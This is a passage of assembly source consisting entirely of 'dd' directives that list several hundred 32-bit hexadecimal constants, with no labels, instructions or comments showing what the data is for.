		dd 22D90389h, 40503AC0h, 9A280971h, 0D801EB63h,	0B86757h
		dd 392F7930h, 0DA023561h, 56D459EAh, 0AC4F9CAEh, 63A72CE0h
		dd 0DE00F764h, 1EF077A4h, 0F8286B5Ah, 1C009876h, 809F9055h
		dd 33E0A27Dh, 8B7420A9h, 0F6B87C00h, 3963EDEh, 0BC4F0CC0h
		dd 0F908C7DBh, 0E1B21CFh, 436C803Eh, 3AA18279h,	0FD3C9AEBh
		dd 0F922F105h, 0A32C08E9h, 983ED0C0h, 22B04603h, 0D8492EFAh
		dd 8AC9000Ah, 0D8CBE39h, 3943AF3Fh, 0A23C09h, 56B8702Bh
		dd 21FB33h, 989C61FFh, 9D9BDE45h, 0ABD6BB00h, 0C1AD4888h
		dd 0FFAF3BD7h, 0DC8D4307h, 0E73F40A3h, 2EEC76Fh, 0C35670C0h
		dd 6CF7A9h, 92D9650Bh, 0F097A2E6h, 0BDF6DB06h, 7A0C803h
		dd 0D9E7EECh, 0BF4C0EF4h, 98C47C80h, 30007A11h,	0E031ACDh
		dd 31C77E38h, 6B2E6118h, 9FCEB180h, 0DE55DC63h,	5A0742F8h
		dd 0CCBE9D98h, 9E01CA35h, 7E0F0E39h, 3956DBD8h,	468155CFh
		dd 2BBCB892h, 5C49807Fh, 0F0D0959Ah, 81F0751h, 462A61F9h
		dd 0BE002162h, 0D0F295B2h, 0E6FED568h, 0A7BE047h, 0D89CD31h
		dd 0E00508D0h, 0D160AA44h, 321933Eh, 0DA18C0D8h, 0BB01553Eh
		dd 945AC58Ch, 99017E0Dh, 3DD60059h, 0F935EE22h,	18EE49E0h
		dd 2885BEC4h, 49C08020h, 5D8A1B06h, 2839F6E9h, 1C44B43h
		dd 0A14CFDB2h, 0E4D42CC7h, 88E4E284h, 345411F0h, 0A11BD6A8h
		dd 0A099FD90h, 5439E33h, 0DCB08168h, 0DDC007Fh,	0D4257D57h
		dd 23A0F0D0h, 95960048h, 2AB1F0DCh, 8EBA8185h, 40049795h
		dd 2C1AB2FBh, 62ACCE1Eh, 0CD86891Fh, 7D0873Ah, 81B00C49h
		dd 0F203CEC5h, 0E0005BCAh, 6CF8CD98h, 198C923Eh, 30FB0AFDh
		dd 3A4C209Dh, 0DF3D34ECh, 33DE0A7Ah, 0D5C0C0AEh, 0ED03973Eh
		dd 4C81BC23h, 0EFAD3EDDh, 0C46DCA8h, 0BC80E098h, 8F157BA1h
		dd 94075Eh, 0B6FB9B13h,	75C1F88Eh, 90AF507Fh, 0C821C01Dh
		dd 46DDFBA2h, 66FA551Eh, 6362C782h, 0F6002E0Bh,	0A49B299Dh
		dd 0C8CA1B24h, 0D95C26C0h, 84BC4913h, 74EDD801h, 20EF45A2h
		dd 40653DB0h, 8840F108h, 574487Eh, 82840ACFh, 0FCCDD6Dh
		dd 2BA17794h, 808C20BDh, 41D33DE1h, 0B14354h, 37FAB6F6h
		dd 4453A35h, 0B99F8E04h, 3300752Bh, 15E8EC1Ah, 91365E03h
		dd 0FF98D102h, 0F3971D40h, 0A1F800DEh, 8DA2C72Ah, 0D00B645h
		dd 0AC23965Ah, 52519CB7h, 8E239C67h, 0ED7A8C20h, 9CDCA029h
		dd 0C9001291h, 8A68FBA9h, 0B0F0FA6Eh, 0BA0EAA07h, 1482F12Ch
		dd 0C07C4219h, 4933F82Dh, 45234081h, 0DB959301h, 651899F0h
		dd 808BBF88h, 6707AE49h, 43584489h, 81B5F593h, 0A0530593h
		dd 45DE927Bh, 342EE2E0h, 3A22B418h, 4B005936h, 0DE0FF8ADh
		dd 450AA1F0h, 8C73870Ch, 175F7000h, 913E1F24h, 98B994E8h
		dd 0A601B223h, 808EC1FBh, 0CD881818h, 71FB38ADh, 370B381h
		dd 2066997Bh, 0A1491424h, 48A20120h, 94A5EC07h,	0ADCAC980h
		dd 6573345Ah, 0A4E73601h, 0BF3FAADDh, 1395A020h, 7ABD0CAh
		dd 419BD5FCh, 604D66BBh, 49A8C00h, 0A8772B2Ah, 0A0556000h
		dd 3B908F94h, 0B3F60041h, 0BFDD7F1Bh, 9A06EEAAh, 742E5B43h
		dd 10750031h, 4C77286Eh, 0F1544A61h, 0C84914D0h, 0CE910068h
		dd 6CDD012Dh, 767000D3h, 54FDE90Dh, 9D1FC8D7h, 0A64B91F5h
		dd 8AC1D90h, 1863342Fh,	68CB07h, 16B28191h, 86AE0D4h, 21D9B3Ah
		dd 127AC12Ch, 0A218C045h, 993A26B6h, 2C30C048h,	0C3495C23h
		dd 74F380D4h, 873F45A4h, 74467800h, 55636EF4h, 53E8E008h
		dd 309C127Eh, 3310048Eh, 0B19C886Ah, 70609F8Ch,	493888Eh
		dd 0CA001C11h, 11C8FBACh, 690BAD0Bh, 30601FE9h,	116BBFF4h
		dd 0C34B9D97h, 0B80C2854h, 18D382ACh, 0C1441B21h, 0ACA87DA5h
		dd 6800F74Bh, 0DA15FD34h, 0F34C615Bh, 0D01CE063h, 0E70C07E8h
		dd 0DDB834DBh, 0C0685A00h, 0F8D9271Dh, 87F49114h, 6062F76Bh
		dd 8ED1442Ch, 307AFD17h, 98080812h, 74EEC0C4h, 0B74645A7h
		dd 7B7DD422h, 0B17438h,	351D90ACh, 0F671BDB7h, 58A9359Ch
		dd 111881B8h, 0F02C61A0h, 766365A4h, 0F0A98318h, 3C0942D0h
		dd 79C4698h, 698B044Eh,	721CD0DEh, 7E5D04A8h, 1AD2300h
		dd 39A3ED2h, 894063A0h,	8A20803Fh, 6F2CECDh, 358320B9h
		dd 0F71258D3h, 782FDE15h, 0C033F710h, 15A8FFADh, 18EEAACh
		dd 0B57817CCh, 0D15A0C18h, 6C6C2068h, 89C6D001h, 884AF6D3h
		dd 38DBB434h, 0FF01E221h, 604898A6h, 1DD4500Eh,	2505F6EFh
		dd 0CB4F1E6h, 80E0C014h, 0FC2E265h, 0C9900086h,	1EFF3D6Ch
		dd 0A2764044h, 0F735C603h, 98969906h, 0BAAEC301h, 902CB850h
		dd 0E6860C20h, 1651C913h, 2B3BCCFEh, 3C6E00B0h,	496090B1h
		dd 0DBF0079Ah, 7CF6D6Ah, 1003B1A2h, 26F07050h, 619C4302h
		dd 4064359Dh, 3072F180h, 3D80670h, 0D851098Bh, 0F20072ACh
		dd 0D79F3067h, 0C19D2800h, 4B90C27Eh, 1F7225FDh, 42B9500Dh
		dd 0C130DD4Ch, 2BA64C74h, 644CE824h, 0BC6240D9h, 3A268574h
		dd 8180F5DDh, 80AC512Ah, 2501B3B6h, 9DA957D5h, 7F2041FAh
		dd 13683072h, 0DBB19BD1h, 699C4094h, 758C5C26h,	0B090A0h
		dd 4D51743Ah, 8AFD9D4Ah, 32C4949h, 78415AF5h, 0EB487771h
		dd 9AC9A4F4h, 0CD823D14h, 3F849924h, 80A41A26h,	6C176A65h
		dd 0F133CEh, 0CF513C0Ch, 80126456h, 2B46C420h, 0A73321C1h
		dd 0F422CB3Dh, 0DC988E07h, 28004B8Bh, 35C3DD2Fh, 69F7BA02h
		dd 0C87F3BB7h, 61C3034h, 957B07D2h, 9924B0D6h, 48183243h
		dd 40E5C5A1h, 1412499Fh, 6400C31Bh, 29E34D7Bh, 214F139Ch
		dd 1DE440E5h, 55A63941h, 872E600h, 0A132B4C4h, 0DBA0443h
		dd 90459C4Ah, 6BF58284h, 0D163F9C0h, 80A210B4h,	10C16F7h
		dd 90CB7D7Bh, 0F8475311h, 0C200D823h, 0D7459B74h, 7F8185E7h
		dd 422674B9h, 3B5A7330h, 0AC80A3BFh, 0CED68E6Bh, 7C00B679h
		dd 0AF8DFC48h, 2C73D9Dh, 0BB9ED1F1h, 0BC5191D6h, 0FE609C73h
		dd 0C33FE2C9h, 0DDFB924Fh, 0E1C0909Ah, 0A5487BD2h, 0C5198860h
		dd 0FE47C178h, 1C889858h, 80F821D7h, 0F56AC39Bh, 3C248CD9h
		dd 3EDC8823h, 19878AF5h, 101A0770h, 87910C79h, 2C0EC512h
		dd 0FB8B807h, 9CFAFF10h, 56F4A00Ah, 886018B7h, 0D0F57845h
		dd 0FCA040B2h
		dd 8082DDC1h, 7479C37Ch, 576100A2h, 72D590A7h, 1898A1CDh
		dd 2F2C7C02h, 9CF0AEC4h, 60E02320h, 7BAC6202h, 478CC88h
		dd 8EF3FBA4h, 2F1A62B0h, 20FBABA0h, 7EE69C1Fh, 0D4A5A8A8h
		dd 2A098403h, 0D0DE9FCCh, 0A8CE114Ch, 76618Ch, 0FD5E4E0Fh
		dd 8BA35948h, 73969200h, 0E46B33F5h, 6C2E2AEDh,	781000FCh
		dd 0AD1E1944h, 354824EEh, 0DAA1005Ch, 99669A9Eh, 70911E98h
		dd 73FD090Ch, 60B98884h, 10CF9597h, 0C82039F0h,	8FB3806Dh
		dd 0A6F47A95h, 13C19160h, 7665754h, 20873C9Dh, 0AB390038h
		dd 0BC015F37h, 0CD8D9843h, 98342E4Ah, 97409C07h, 484C252Ch
		dd 0F4C0C6A8h, 4645A174h, 7CC2247h, 0E9744B7Dh,	50DD6246h
		dd 0FD361060h, 0C881A72h, 185E6EAFh, 39C5F406h,	73DE8D4Ch
		dd 0A6FCBB50h, 75EC8800h, 804C2BFh, 5F3D0250h, 0B8EAEFDCh
		dd 61D168E1h, 469402C4h, 0FA959030h, 0C06148F0h, 9588BCE0h
		dd 9AE35B01h, 9D3989F5h, 4015DC30h, 8D48A3DCh, 8F8E4035h
		dd 22F4D304h, 0CCC57CA7h, 818174DBh, 10742BBBh,	2A4FFDh
		dd 17D87623h, 0A27B3AE5h, 97BAA502h, 0E77D73D5h, 60F244A4h
		dd 0DB467Dh, 918EAC83h,	5EF39BE6h, 0C5EFC302h, 41A3D1BCh
		dd 50100B88h, 7F025416h, 0C218933Dh, 0EFA48483h, 0D1959960h
		dd 2029F010h, 0BD8058C8h, 463F95B1h, 0CD1B025Fh, 0DED01532h
		dd 88798862h, 0B718F979h, 8A8C361Fh, 90249A8Dh,	0E39FB80Eh
		dd 56280C00h, 9359F1Ch,	20F6E4E1h, 7CB77000h, 88944B91h
		dd 429E8D91h, 0A88EF0FBh, 0FF67C1Ch, 0C9942EFBh, 0D17280A0h
		dd 438189E0h, 24A150D3h, 8CBC264Dh, 9AFC894Ch, 0C8631C04h
		dd 5C008434h, 13A9D003h, 1100288h, 3EB4C1A7h, 0DC78C3ADh
		dd 702E968h, 0CB82F31h,	0C4458D3h, 1D5ACCECh, 7B63A5C8h
		dd 3365EB9h, 0AAF8D259h, 0B38D71D0h, 3430A148h,	0D200F10Ch
		dd 6B5B1FCDh, 1F3D9E57h, 49293BCAh, 0E42399A5h,	70707343h
		dd 5937FE13h, 0C08B1052h, 0D2C1D488h, 6DDD808h,	7B31D1ECh
		dd 30A458FCh, 0E522686Eh, 1862F92Eh, 0D0113017h, 9E141881h
		dd 0B871E20Ch, 0CCD08700h, 3531FAh, 0FEEBE681h,	89907D0Bh
		dd 5BBD1F13h, 0F123783Eh, 63DBB202h, 0DCC8A10Dh, 0E9E0EC60h
		dd 20FA16F6h, 0C1880107h, 0C0C8270Ch, 28D27BBDh, 1DC830CBh
		dd 15870CC0h, 53A5173Ch, 1E9413C4h, 40442438h, 0BDB9932Bh
		dd 104AF180h, 307E1A80h, 0FD4879C3h, 28D4481Ch,	43E9BD30h
		dd 0F4B6099Ch, 2B422E09h, 91CC97F4h, 0C5E18763h, 0A7558C1h
		dd 0FCEE1AE4h, 1B7C30F9h, 1F8AC988h, 9880F529h,	0F9513301h
		dd 20851CC8h, 94899307h, 88F08EF0h, 5919C067h, 13035AA5h
		dd 0B70AFC5Fh, 3361905Eh, 4680B87Bh, 74B802DAh,	0B1E745A5h
		dd 6110CFF0h, 660574EFh, 41F925Ah, 4C496C81h, 14E7AD00h
		dd 465E089Ch, 916406FAh, 80B97E8Eh, 8016DCD4h, 700A475Ch
		dd 0D8C5FFC7h, 0D9BD38Fh, 79E241DCh, 0F3760EFCh, 9DF1FE0h
		dd 3D7AB008h, 98DEB100h, 1DB6EC8Bh, 0DC4F3C14h,	2510804Ch
		dd 0ED8E095Bh, 294626Ah, 24919FCh, 0C8C41183h, 5E3B7500h
		dd 0D00506C6h, 0B98D07E9h, 9B970F8Ch, 278A1C82h, 82BA501h
		dd 0F2B4B205h, 476F30FCh, 0C0140D15h, 824E3CC8h, 0D4101990h
		dd 0F044681Bh, 0A69717F4h, 238C3A36h, 17900E58h, 6E1A4A40h
		dd 9CE212E9h, 3EA1821Ch, 9186A64Ch, 73D30043h, 8AE8CD5Fh
		dd 5B00E532h, 5609FD12h, 0B86C9EE2h, 0E488A5AEh, 0F72E6060h
		dd 0EF350012h, 0B96AA27Dh, 8677B7F6h, 976E241Eh, 8C24FC28h
		dd 654B0871h, 6065E4E8h, 4F49FEh, 197E511Dh, 4568F6B5h
		dd 69FD7C13h, 0D905AC53h, 80B0059Ch, 0A1141F76h, 0A00740ECh
		dd 0FF95459h, 6730DC7Fh, 64091865h, 98AC586Eh, 0B8C12BCh
		dd 0B1A1C8B4h, 3801A970h, 72F12427h, 0F0851E10h, 0F0499303h
		dd 0A54AAC60h, 41CE5C40h, 54201F8h, 0AA7213AEh,	0BE8C002Eh
		dd 1FD9F0E6h, 682EA25Ah, 0D4011D23h, 9CB75DD8h,	3A006862h
		dd 3362EF6Bh, 849406EDh, 802FA508h, 24013735h, 9A00EF8Eh
		dd 2C21C40Bh, 55D2D9h, 11FA5019h, 36AC2901h, 172D1E2Fh
		dd 802D9154h, 3B607BE7h, 5E133FAFh, 7AA48280h, 8CE91CB9h
		dd 0BB79031Ch, 243AFF09h, 30A9A590h, 5E058400h,	0B62063F3h
		dd 0E493638h, 0C24C15CEh, 0C08AEEEDh, 99D09AA0h, 0CD8C03B4h
		dd 18178372h, 0A8CBCA43h, 0E8C11AC8h, 60F9F6DBh, 0F91903C3h
		dd 4D715D65h, 0FD8982B8h, 0D801A105h, 0E8C07C2Eh, 58A53930h
		dd 1AE8787Fh, 5126058Ch, 88D8FAF7h, 21C00364h, 14F30CD9h
		dd 2B810052h, 0FE6FEB71h, 0D405BBDAh, 1A38E9AAh, 674D2CC1h
		dd 3823EC01h, 8CF2BC80h, 1C5F0D09h, 4B0084DCh, 0DD889563h
		dd 389689F0h, 8DB958h, 51842B95h, 20B4C2FEh, 0B5E0FB54h
		dd 1494491Fh, 8BC94743h, 8899B0E0h, 41A00070h, 0D4502056h
		dd 5871DB9Fh, 0C0C22D30h, 6BB903C8h, 0EC456078h, 0A3600FE4h
		dd 0BE000439h, 0D872B418h, 75F6AE22h, 0E5802B5h, 0C1108E2Bh
		dd 0C724C864h, 0B64020D6h, 13EA22h, 993B610Fh, 0CC40C636h
		dd 0A5A8C013h, 7940A427h, 50F295h, 4DB7EA1Fh, 576AAB81h
		dd 739C241Ch, 0F2FE0343h, 82300B5Ch, 80023BFDh,	9060E398h
		dd 21277FECh, 11E49723h, 0F6FF80D5h, 73525895h,	0B57A1760h
		dd 0E84036Dh, 0F0807FFEh, 5C945BEFh, 146824F4h,	0F8CC0165h
		dd 2076F273h, 7B5B2570h, 0B4A40420h, 0E96F242Eh, 8C972F18h
		dd 0B3836D11h, 0A8A06398h, 911529C5h, 0AC83FF5h, 0B4BD226Bh
		dd 6CB7ADh, 5B2D009h, 19C0EFA3h, 0F6E58CB6h, 52809828h
		dd 0A901E420h, 0B5D8C88Dh, 537A7066h, 72914F00h, 0D1C13176h
		dd 4CCFC5Fh, 10D6C48Dh,	0EC9889C3h, 4E00EC4Dh, 14F02AA5h
		dd 4A3C8BA6h, 88A8CB23h, 8D3AC2CCh, 970444C0h, 0C0BCFD78h
		dd 0A82F00F4h, 0E91D8BD4h, 613D0CAFh, 0BC6F2A25h, 0B1663Fh
		dd 0A26C804h, 1E5FEC2Bh, 34EE8Dh, 2739D5ADh, 0FD144B66h
		dd 49423B2h, 436ADF37h,	0D9BC14B8h, 79A52D8Ch, 7D008CDEh
		dd 0C807D347h, 0E5731604h, 8816DAh, 6B98D27Ch, 2D7D9B43h
		dd 5BFFA9C5h, 90471280h, 0ED8D12B3h, 3DBCE03Eh,	0FD58D496h
		dd 8179DEF1h, 0B6C4F75Ah, 0B7C0861Ah, 0D319B0Ch, 1B22CCE6h
		dd 70903618h, 56AC3B03h, 5D3319Dh, 86624399h, 5B14E5C4h
		dd 2606C0A4h, 0E9F084h,	0F608A218h, 0F531FD9Fh,	49655A13h
		dd 47F9C81h, 54C5AC02h,	686012E4h, 59004A80h, 17B87C3h
		dd 12F1331Bh, 20B9122h,	9276FDD4h, 34C3E86Dh, 0D0F5BBB5h
		dd 8B7FA35Dh, 0BCB4B8CCh, 9B018C1Eh, 4F50C875h,	80221480h
		dd 0D922EE07h, 1C6AC05Fh, 64019451h, 0FF688352h, 4BD4252Ah
		dd 0E8C503F4h, 97580D55h, 0CAC18CC3h, 7FC645Ch,	0A1918B2Fh
		dd 1CDCFA48h, 0F6C44600h, 3D14B758h, 97DDA770h,	8F2F1118h
		dd 2270D8D0h, 5CC08293h, 3D026E0Fh, 0C80EAF5Fh,	0C5888BBAh
		dd 60CCE4C0h, 278446C1h, 0D8A754F5h, 5631E245h,	0DF840C56h
		dd 10F30EBFh, 8230D5A2h, 0D77024h, 0B6E9534Dh, 0B47D453Dh
		dd 0A03A3B4Fh, 0C033F710h, 2660F961h, 0DB7500FEh, 7F715B8Eh
		dd 2B602ECDh, 8B1445A8h, 83C0C16Bh, 0DCDC2F3Bh,	67A8872h
		dd 74BDE1C5h, 38E47819h, 27842C60h, 8C007DDFh, 0D80716Dh
		dd 220F93Ch, 618DE4D4h,	0DCA07657h, 0D2E4BBFEh,	72195F0Bh
		dd 79106860h, 0F20F0053h, 0D937EF62h, 0D002185Dh, 227B1AEAh
		dd 176C54C5h, 845CCBE0h
		dd 0C0343430h, 66F8696Bh, 9C0AC409h, 0E35CE9A5h, 5EE8A761h
		dd 0F76A02A7h, 4110A936h, 2030E078h, 0B6B7295Ch, 0CA6D2814h
		dd 40F09CACh, 0E9922F51h, 0A65FAE02h, 601834EBh, 4A8938DAh
		dd 80CD1C5h, 9C7007Fh, 0B4A4BAC0h, 1C465E08h, 0D2FCB400h
		dd 0DB871E59h, 93130704h, 14B8C261h, 928FA09h, 5450E058h
		dd 58BC56EEh, 308900DEh, 7D6BDBBAh, 9D248445h, 0A4271460h
		dd 0B441D228h, 219636C4h, 8791E0C8h, 283E524Eh,	0E3026D23h
		dd 0A0BCA685h, 3010A1B0h, 0AE2A00F2h, 8ABEACF6h, 4890FE81h
		dd 11397964h, 530018B9h, 0C54331E6h, 0CFB0FC15h, 0F4CE8904h
		dd 89034A6h, 0B067891h,	39BF0CFDh, 0B0296442h, 9A705873h
		dd 0B54A0144h, 0D6E58590h, 0A8F84429h, 8CD3BC08h, 9E661600h
		dd 96EB3AAh, 114F0924h,	0C401E2B5h, 685F8993h, 0D8CAD628h
		dd 0BFC0D3C8h, 1C4F2155h, 0C0D46AE5h, 0C0373D9Dh, 0A4164340h
		dd 30887E49h, 0DD72128Bh, 0C374B0C7h, 255188h, 8F24C09Ah
		dd 0DBFE27C8h, 0A13F3D14h, 9C867AFCh, 62465698h, 0C1B49F00h
		dd 0D3303FEEh, 0ED50907Ch, 0A8A70DFAh, 0D360F164h, 175463C0h
		dd 0EBEE9CD8h, 270077E0h, 1A5E4FD6h, 17BB23h, 0A3D12EE0h
		dd 0D40BC2E5h, 0ECD7C300h, 469DB505h, 8FAF0070h, 44EBD27Eh
		dd 4F5B3DA4h, 0B9065804h, 0F9466B04h, 0B6EC07B4h, 64B4A92Ah
		dd 3EA2F880h, 12D0B1Eh,	30605993h, 0DE4A2E10h, 2D10A42Eh
		dd 9C29C034h, 2DCC52Eh,	0C7ABF975h, 0FC415E99h,	300C290h
		dd 166CD973h, 0A5C20D8Ch, 53EC60A8h, 216B8105h,	48B23F8Dh
		dd 5330D0F2h, 846800B9h, 0F7CA3EC9h, 3404CC87h,	63A11477h
		dd 0EB1CCE4h, 4D7AE009h, 85E43160h, 68028D97h, 599F3542h
		dd 79FCF954h, 0EE1865h,	171BA09h, 69C3C47h, 0CFBC240Eh
		dd 5C56325Ah, 5C323001h, 0C858446Bh, 2F620035h,	0DF0FF8AEh
		dd 430BABD1h, 8858815Ah, 74DCC444h, 1B440272h, 0B56ECDC6h
		dd 0A1966051h, 3C0149Ah, 5BD1A6F0h, 0B74B7C94h,	49360314h
		dd 6FD08681h, 0EBE05BE8h, 0A514E091h, 0A99E808Ch, 7A1E8F28h
		dd 4010972Eh, 0D007187h, 44E1544Bh, 1813EE3h, 4119FA9Eh
		dd 3B04C7A6h, 0C58E0447h, 78C10264h, 0F891E91Ch, 0FBA7808Bh
		dd 87988EC2h, 0FBAEF403h, 0D211B232h, 58B22F38h, 986D888Bh
		dd 84803E65h, 0C0CD10BCh, 9D8B6A19h, 0E30ED023h, 0A0136E5Ch
		dd 823219B9h, 0D2E00066h, 44247D8Bh, 6E5BC59Ch,	74118862h
		dd 824F80E8h, 7453A56Fh, 0E1D7D803h, 0AA506ADDh, 0BCA8401Dh
		dd 0B679FE97h, 0A0C04970h, 0DA013989h, 0DF35AF9Dh, 3862A623h
		dd 71E52D00h, 56B6EA77h, 0E8CD1113h, 45EEF40Bh,	6117E458h
		dd 792EB3h, 0A9920F00h,	0DFD958B5h, 3D4A000h, 0D64BA837h
		dd 51520393h, 491D293Ah, 81F82089h, 0C58CC478h,	0E84034EEh
		dd 2A036E63h, 0B0C84AF4h, 54292000h, 530C39FFh,	3063A2E4h
		dd 2704E506h, 7EC58D23h, 174EE4F8h, 23282FECh, 3F76016Dh
		dd 7D8586B9h, 740413ECh, 5B6AF8C1h, 0CCE22823h,	54A30730h
		dd 7A7D883h, 6F318D18h,	0A09A8542h, 8560A518h, 568A7D21h
		dd 1CF907D3h, 0D17EBB06h, 0F5ADE337h, 6E07F8B7h, 8098AC3Eh
		dd 95D29AD5h, 0F33C6B0Ah, 2FA8172Bh, 33FC106Ch,	994EEAC0h
		dd 7FE4EF6Bh, 9C50612h,	0E805D024h, 0A085FCFEh,	5B70C4E3h
		dd 31B4C9FAh, 0EEC10FCh, 0E4963EEDh, 48DB9312h,	0BECA4580h
		dd 0A7039011h, 0E17D26B4h, 1A7AE0ECh, 2AC0BA0Ch, 9DD4BA8Dh
		dd 3E00C0B7h, 0F3BA3623h, 34550C9Bh, 0C0216A2Fh, 0B699F900h
		dd 50A3EB96h, 0CE6201F0h, 0B14B21Dh, 64C4E018h,	5C1CE74Ah
		dd 120BC31Dh, 11589D74h, 55D4826Eh, 9110D176h, 3EDB80ACh
		dd 0B1C80395h, 0C416C024h, 0E900353Eh, 6C21175Ah, 95A54A6Dh
		dd 52C3D820h, 643E1B7Eh, 14C200C8h, 6963EB79h, 0C9233F1Dh
		dd 9DAD03B9h, 0DCC85402h, 345E98DAh, 0C99DB820h, 6CA0958Ah
		dd 1AADCECFh, 0BC78C0B3h, 97AB0043h, 0FDAD7CC7h, 0C824C237h
		dd 2C4A38FFh, 7C58BC11h, 0FDF72604h, 9C84B393h,	477BD309h
		dd 601164BCh, 0EA364C3h, 423AC5B4h, 0E0F17864h,	7AF43464h
		dd 320D552Dh, 0DC7C5638h, 88EED000h, 2A48DB82h,	34914C64h
		dd 7D127BC1h, 62A030EAh, 0AEF6A816h, 25F15C8Ch,	0E005AC4Ah
		dd 0AB50C3B6h, 69759380h, 991FD0B8h, 4CA91B48h,	24181859h
		dd 0A9221600h, 72E58157h, 3BF0C1FAh, 44FADA5h, 7010D0ACh
		dd 7A550C36h, 2FFF7981h, 1C08F4FAh, 0FEF00BDCh,	0EDA4D848h
		dd 30406F67h, 64E82654h, 0AD9C4504h, 3C0C0578h,	0A668FC08h
		dd 9F01DE58h, 9C439BD6h, 58B86CFDh, 81E6CD97h, 405E9D08h
		dd 0FEDD8E18h, 6E5B3600h, 0C4D80137h, 0C8133830h, 0BBA41F0Fh
		dd 26D66100h, 0ADEE970Dh, 4107C501h, 520BF582h,	28ED8C44h
		dd 44083CB8h, 1E6AE1A4h, 8FCEA7Bh, 0E010FAF7h, 0D129610Bh
		dd 18647944h, 4FBB00B3h, 72F0DCE3h, 50CEEC88h, 0E2ADCBD5h
		dd 0D6948820h, 187A4F3Ah, 0CFFDC002h, 7560C51Eh, 2802DB96h
		dd 0AEE8F2D5h, 80445FEh, 9C847FB8h, 127075h, 8314B094h
		dd 6BF1696Dh, 64239C3Ah, 0D840F613h, 0ADF79E9Ah, 0A1AC010h
		dd 6361C9B0h, 82B90C60h, 3B3F4A97h, 4580DAD9h, 593E3949h
		dd 2FFE2B4Ch, 0E084A256h, 14A57Bh, 0EBA02CE1h, 91930140h
		dd 9C00D94Fh, 6FF6BEB7h, 0A3DD126Ch, 0F204A235h, 958930D6h
		dd 5D30BD00h, 0F58F0FD1h, 3909486h, 6C08193Dh, 0F6F93AD8h
		dd 145CFA14h, 0E0C84BBCh, 60AC0430h, 0F992869Ch, 1D19BC68h
		dd 0C43FF144h, 0FD551B0Ch, 0CCCC4878h, 7088689Ah, 96491648h
		dd 24C8C0EEh, 0A1BDFD93h, 0E6BC7280h, 2F64137Fh, 28C7F6Ch
		dd 0ABFB88B5h, 0C440D1C3h, 309728F2h, 0D4A874h,	0FCA37DBDh
		dd 9D65ADE6h, 9C05A7F0h, 80A94041h, 0BEEA0B81h,	33384A3Eh
		dd 70116DD4h, 5C4D214Ch, 7BCB844Ch, 0B5B80912h,	872A5C02h
		dd 5CAC9C05h, 0E0C90680h, 6B091B63h, 7831871h, 0E6D04B5Ch
		dd 13AD19DFh, 0C08EFD8Bh, 0ACE9D40h, 3C4E95h, 4DA665BEh
		dd 0B040C22Bh, 0BAE95505h, 0BBC047F6h, 27BE1931h, 0DC4252FFh
		dd 0B8108433h, 480162C9h, 61E63479h, 0C42F3FB0h, 0EB00D923h
		dd 398296E1h, 2C5F007Dh, 7A8A5DB7h, 0F8C063EDh,	40BDBEF9h
		dd 0E9F100E1h, 93D312B6h, 0BC03B94Bh, 0A83BB22h, 2A1AE0EAh
		dd 0EFB7481Ch, 2E588604h, 346EAB6Eh, 70871276h,	8CA40204h
		dd 48464A0Ah, 11AC8325h, 0DACC2B9Ch, 824800A9h,	70965FFBh
		dd 0ECFE901Eh, 0A01C1909h, 51BCE0F2h, 0B86A887Fh, 0AF1A80h
		dd 0BBCD094Ch, 42F29BBFh, 1D4B7F00h, 0FCD0221Bh, 9D572626h
		dd 4AF543A8h, 6C47E2D2h, 1833F9C2h, 5A13226Eh, 9890A54Dh
		dd 1D804CB6h, 0B7D1886h, 8C7958FFh, 342AC50Eh, 18327CF8h
		dd 71331908h, 186579ECh, 1B86002Eh, 0D97B5FE1h,	0B14BFF67h
		dd 0A9EC88h, 300749B6h,	41B4ED24h, 6674BD00h, 71CD47D7h
		dd 0CA5416EBh, 310CA29Dh, 23C054C9h, 3E9E5ECh, 0A129A361h
		dd 929820F0h, 130211C1h, 9D98D40Ch, 64B044C4h, 0C1C34114h
		dd 2138C64h, 0F8B8CCC4h, 55C312A3h, 0B69C3376h,	0B96382E8h
		dd 38B74417h, 37B5980Bh, 9C65112Ch, 0DB12E540h,	7C62DD5Ah
		dd 46310461h, 8266A1A4h, 0B0C1D818h, 88543FA8h,	7C4102B8h
		dd 5E26A04Ch, 6800D6CCh, 79896C66h, 19EC703h, 0CE4AF760h
		dd 30C98561h, 0F1012550h, 0B0C635D0h, 0B6025D41h, 6D27AC45h
		dd 88784BE0h, 98BF0929h
		dd 80E85E14h, 0E56DBE59h, 0E1AF0186h, 187E4C06h, 0B4F5EC62h
		dd 58D37000h, 0FD8F254Bh, 0A8C0951Eh, 8B520797h, 276C58C0h
		dd 608E048h, 0C1AB5AC4h, 0E290A1ECh, 1144BCC7h,	0CE638B60h
		dd 2A90D90Fh, 5EBB9FC9h, 0F8ADE080h, 9128EA18h,	60AF44CCh
		dd 2C943EDCh, 7038D003h, 3E01C515h, 0D041AC4Ah,	0F045BEAFh
		dd 0A9D224B8h, 0B889A8A8h, 957B1410h, 0AA158C6Bh, 5869EC9Ah
		dd 0D56428C7h, 471A8D60h, 649FF900h, 40542DDBh,	76D203C2h
		dd 0BC8786F8h, 4A786102h, 0C9B65A14h, 0AE21CD6Ch, 9C48027Eh
		dd 48537489h, 70F95102h, 0F05132E9h, 3D186459h,	0B799402h
		dd 0C1067F3Bh, 122E0947h, 0E230B284h, 0B2473011h, 57EEFD00h
		dd 7FA3A62Ah, 0A610302h, 0A2F52EE7h, 63C7800h, 69A1BE6Eh
		dd 0F77E4h, 0DC75FC3Dh,	0BAD19701h, 35B67B00h, 15E0367Fh
		dd 0E80FAFDh, 9FFE4FB4h, 4A9B3060h, 0BF0F90C9h,	8777E5A8h
		dd 6BD04547h, 0FE1DEF7h, 0BED596A9h, 1009EAA0h,	6C07805Bh
		dd 91813458h, 0CA7C0260h, 8C9F04AFh, 0C135616Bh, 0CBA68428h
		dd 0CB2ECC80h, 0A0665400h, 5C75E4Dh, 0A4AF0045h, 7F16E2C2h
		dd 4C002A21h, 0BD871AD2h, 0E60D4Ah, 6872CF06h, 0D0AFEA64h
		dd 5027DC00h, 6A2FB029h, 43AA18CCh, 60292C6h, 9A004574h
		dd 37D7387Ch, 0B127A9h,	2D87FB3Ch, 190F6AA4h, 0F3949003h
		dd 0E0E6554Ah, 0B398F91h, 0A3D42546h, 5D00D052h, 872943BFh
		dd 50D5E326h, 31A3CDh, 0F808918Ch, 346965B8h, 0EE2C000h
		dd 406F4BB2h, 6E740051h, 22CC238h, 0A3EE924Eh, 64FDB02Ch
		dd 159C5740h, 103400F7h, 47E30F13h, 0B50F1E55h,	81E1F806h
		dd 89DFFF28h, 30350E4h,	0D61D0CE8h, 84F821FDh, 6700A24Eh
